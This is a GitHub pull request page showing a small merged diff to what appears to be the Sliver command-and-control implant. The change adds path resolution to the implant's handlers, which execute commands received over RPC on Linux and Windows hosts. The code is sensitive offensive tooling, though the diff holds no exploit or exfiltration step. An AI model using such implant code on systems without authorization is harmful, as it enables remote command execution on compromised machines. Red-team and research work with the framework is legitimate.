Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Resolve absolute path if file is not in path for execute #1004

Merged
merged 1 commit into from
Nov 17, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 20 additions & 1 deletion implant/sliver/handlers/handlers.go
Original file line number Diff line number Diff line change
Expand Up @@ -530,7 +530,16 @@ func executeHandler(data []byte, resp RPCResponse) {
}

execResp := &sliverpb.Execute{}
cmd := exec.Command(execReq.Path, execReq.Args...)
exePath, err := expandPath(execReq.Path)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
cmd := exec.Command(exePath, execReq.Args...)

if execReq.Output {
stdOutBuff := new(bytes.Buffer)
Expand Down Expand Up @@ -929,3 +938,13 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
}
return readFiles, unreadableFiles, nil
}

func expandPath(exePath string) (string, error) {
if !strings.ContainsRune(exePath, os.PathSeparator) {
_, err := exec.LookPath(exePath)
if err != nil {
return filepath.Abs(exePath)
}
}
return exePath, nil
}
11 changes: 10 additions & 1 deletion implant/sliver/handlers/handlers_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -303,7 +303,16 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}

execResp := &sliverpb.Execute{}
cmd := exec.Command(execReq.Path, execReq.Args...)
exePath, err := expandPath(execReq.Path)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
cmd := exec.Command(exePath, execReq.Args...)

// Execute with current token
cmd.SysProcAttr = &syscall.SysProcAttr{}
Expand Down